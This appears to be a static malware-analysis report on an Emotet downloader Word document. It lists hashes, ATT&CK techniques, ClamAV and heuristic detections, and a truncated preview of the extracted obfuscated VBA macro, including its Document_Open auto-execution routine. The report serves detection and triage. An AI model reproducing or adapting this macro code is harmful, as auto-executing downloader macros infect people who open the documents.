Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 3940d555e744b48e…

MALICIOUS

Office (OLE)

157.6 KB Created: 2020-09-15 20:00:00 Authoring application: Microsoft Office Word First seen: 2020-09-24
MD5: 46fc6a86e000d7076b844e4d6c78bdf5 SHA-1: b705b081712be50f34f168316508551f9af440e2 SHA-256: 3940d555e744b48e186ecf2c2f09547b404de782123581841d3f5b2286135005
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open auto-execution macro, and uses CreateObject, indicating a downloader. ClamAV detection explicitly identifies it as 'Doc.Downloader.Emotet-9761761-0'. The VBA script, though obfuscated, is designed to execute a payload, likely from a URL. The presence of the Emotet family signature strongly suggests malicious intent.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-9761761-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9761761-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 25524 bytes
SHA-256: 417557a48927398ece814174d936d85f4c7aaebf20a71ff2b1c5a4ebd7420248
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Olsjglqjwni5t4"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Rivq7260byf0zfu1_ = Array(Xy7rureu10f + "Zb9_vnu1crjhb5Ole38efvr9hzd Ib74xzdbzuhgk" + Lpyp1gujvgjl5rqcoz, K2pnopfgtwvv26, Rxon6vkhovo7q.Q6x_if97uccv4at6vp, Dcj3093dq1ul + "Qvxgt17iackav_axa Nrxmn5w1txy_x6e O9_oca09da_3o Tqqeb6ikh5v4hjvbpp")
End Sub


Attribute VB_Name = "Rxon6vkhovo7q"
Attribute VB_Base = "0{F3FB498C-7D97-4180-B0FF-C1800B58C7E6}{82FC01BE-9F3E-484B-BAAC-07704037E999}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Q6x_if97uccv4at6vp()
On Error Resume Next
   Set Cwij8s2ma7w4gjd3g = Olsjglqjwni5t4.Signatures
pHPww = "iALwCsP1zz5882jBmEwjJ4K1vhSRVFHjBh"
LzIPWP = Mid(pHPww, 25, 1)
wZbViKOii = LzIPWP
LrQMZDctk = "Rva5vpO3b7Ef3XsqGjSKu3aOoW1jt9wPbNT9"
GqmZkzVszu = Mid(LrQMZDctk, 12, 2)
FDCKz = GqmZkzVszu
wZFNASSEjG = "Lfyw2EuA3q 7Pz3W7fu"
NBcqXjKzCE = Mid(wZFNASSEjG, 3, 2)
fBzYfGAjHi = NBcqXjKzCE
Set Hk6ev71gkryjeuwkks = Olsjglqjwni5t4.Signatures
LFBHBRlYmnX = "04oA7YHfNnikRzUzTWjY 9vhohtD6z"
VrlziaTQN = Mid(LFBHBRlYmnX, 23, 2)
hnLrs = VrlziaTQN
HvcDccZjI = "S32cTnAjcbQbmVjlEq"
NwJZYTXt = Mid(HvcDccZjI, 3, 1)
UorLcLNzlvZ = NwJZYTXt
JaDwH = "hPsVjOVjy4zA1"
Set Wvlwje_7jemk_g6tw8 = Olsjglqjwni5t4.Signatures
FmEOpPkAsOf = Mid(JaDwH, 8, 2)
kiVdUwoGqL = FmEOpPkAsOf
GHHBItKAk = "kz  JWrLAj7XUmPbZoiXDSCTLp"
QchHF = Mid(GHHBItKAk, 3, 1)
LnPEwHZTY = QchHF
FvLzk = "dzhdzfvjC1hzf 2Glia"
ctdjzhodvB = Mid(FvLzk, 14, 2)
Set Ant2ijy22cg70v4lp0 = Olsjglqjwni5t4.Signatures
LJcZCtiDmj = ctdjzhodvB
cUMGYh = "9XlERWWnjFs566IjZF83dWXX2mDBo3f7IkFlQZji"
FnAiilFR = Mid(cUMGYh, 31, 1)
zLLjPQzjH = FnAiilFR
uYGHBJKbw = fBzYfGAjHi + wZbViKOii + LJcZCtiDmj + SrFNdvG + hnLrs + DSYMoIiDSAO
S0xz4hex3_m172 = 55
   Set Cwij8s2ma7w4gjd3g = Olsjglqjwni5t4.Signatures
pHPww = "iALwCsP1zz5882jBmEwjJ4K1vhSRVFHjBh"
LzIPWP = Mid(pHPww, 25, 1)
wZbViKOii = LzIPWP
LrQMZDctk = "Rva5vpO3b7Ef3XsqGjSKu3aOoW1jt9wPbNT9"
GqmZkzVszu = Mid(LrQMZDctk, 12, 2)
FDCKz = GqmZkzVszu
wZFNASSEjG = "Lfyw2EuA3q 7Pz3W7fu"
NBcqXjKzCE = Mid(wZFNASSEjG, 3, 2)
fBzYfGAjHi = NBcqXjKzCE
Set Hk6ev71gkryjeuwkks = Olsjglqjwni5t4.Signatures
LFBHBRlYmnX = "04oA7YHfNnikRzUzTWjY 9vhohtD6z"
VrlziaTQN = Mid(LFBHBRlYmnX, 23, 2)
hnLrs = VrlziaTQN
HvcDccZjI = "S32cTnAjcbQbmVjlEq"
NwJZYTXt = Mid(HvcDccZjI, 3, 1)
UorLcLNzlvZ = NwJZYTXt
JaDwH = "hPsVjOVjy4zA1"
Set Wvlwje_7jemk_g6tw8 = Olsjglqjwni5t4.Signatures
FmEOpPkAsOf = Mid(JaDwH, 8, 2)
kiVdUwoGqL = FmEOpPkAsOf
GHHBItKAk = "kz  JWrLAj7XUmPbZoiXDSCTLp"
QchHF = Mid(GHHBItKAk, 3, 1)
LnPEwHZTY = QchHF
FvLzk = "dzhdzfvjC1hzf 2Glia"
ctdjzhodvB = Mid(FvLzk, 14, 2)
Set Ant2ijy22cg70v4lp0 = Olsjglqjwni5t4.Signatures
LJcZCtiDmj = ctdjzhodvB
cUMGYh = "9XlERWWnjFs566IjZF83dWXX2mDBo3f7IkFlQZji"
FnAiilFR = Mid(cUMGYh, 31, 1)
zLLjPQzjH = FnAiilFR
uYGHBJKbw = fBzYfGAjHi + wZbViKOii + LJcZCtiDmj + SrFNdvG + hnLrs + DSYMoIiDSAO
Ycyz73ppkwej6373f_ = Tnq5ymlzb03i_ttc + Chr$(S0xz4hex3_m172 + (60))
   Set Cwij8s2ma7w4gjd3g = Olsjglqjwni5t4.Signatures
pHPww = "iALwCsP1zz5882jBmEwjJ4K1vhSRVFHjBh"
LzIPWP = Mid(pHPww, 25, 1)
wZbViKOii = LzIPWP
LrQMZDctk = "Rva5vpO3b7Ef3XsqGjSKu3aOoW1jt9wPbNT9"
GqmZkzVszu = Mid(LrQMZDctk, 12, 2)
FDCKz = GqmZkzVszu
wZFNASSEjG = "Lfyw2EuA3q 7Pz3W7fu"
NBcqXjKzCE = Mid(wZFNASSEjG, 3, 2)
fBzYfGAjHi = NBcqXjKzCE
Set Hk6ev71gkryjeuwkks = Olsjglqjwni5t4.Signatures
LFBHBRlYmnX = "04oA7YHfNnikRzUzTWjY 9vhohtD6z"
VrlziaTQN = Mid(LFBHBRlYmnX, 23, 2)
hnLrs = VrlziaTQN
HvcDccZjI = "S32cTnAjcbQbmVjlEq"
NwJZYTXt = Mid(HvcDccZjI, 3, 1)
UorLcLNzlvZ = NwJZYTXt
JaDwH = "hPsVjOVjy4zA1"
Set Wvlwje_7jemk_g6tw8 = Olsjglqjwni5t4.Signatures
FmEOpPkAsOf = Mid(JaDwH, 8, 2)
kiVdUwoGqL = FmEOpP
... (truncated)

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